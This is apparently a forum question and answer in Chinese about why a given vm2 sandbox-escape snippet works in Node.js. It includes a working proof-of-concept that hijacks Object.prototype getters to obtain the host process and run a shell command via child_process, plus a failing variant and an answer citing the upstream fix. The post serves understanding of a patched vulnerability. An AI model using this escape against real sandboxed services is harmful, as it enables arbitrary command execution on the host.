node.js中vm2沙箱逃逸如何理解下面的代码

How to understand the following code to escape the vm2 sandbox in node.js

我尽量去理解下面的代码,因为理解对我帮助很大

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    Object.defineProperty(Buffer.from(""), "", {get set(){
        Object.defineProperty(Object.prototype,"get",{get(){
            throw x=>x.constructor("return process")();
        }});
        return ()=>{};
    }});
}catch(e){
    process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

以上代码可以逃脱vm2沙箱。我从 GitHub 克隆了 vm2 的源代码并重置为 7ecabb1。

我知道vm2比vm更安全,因为它在es6中通过代理阻塞了原型链。上面代码中抛出并捕获了一个异常,然后传入一个箭头函数到x = > x.constructor ("return process") ();此时x是一个代理对象,可以访问外部Function进行转义

我也试试这个代码

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    throw function (x) {
        debugger;
        return x.constructor("return process")();
    };
}catch (e) {
    e(()=>{});
}`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

但是在这段代码中,同样如此 x => x.constructor ("return process") () 此时,x是一个函数,无法逃脱沙箱,所以我很困惑。第一段代码能逃出vm2的沙箱是什么原因?

如果您阅读修复 https://github.com/patriksimek/vm2/commit/23576ad235b522d70f7acc2aae11ed36d3cf3aac,您会发现 Object.prototype 未正确 上下文化

在您的第二段代码中,您不会妥协 getter/setter 以在主机中注入函数 运行。

基本上,代理不完整。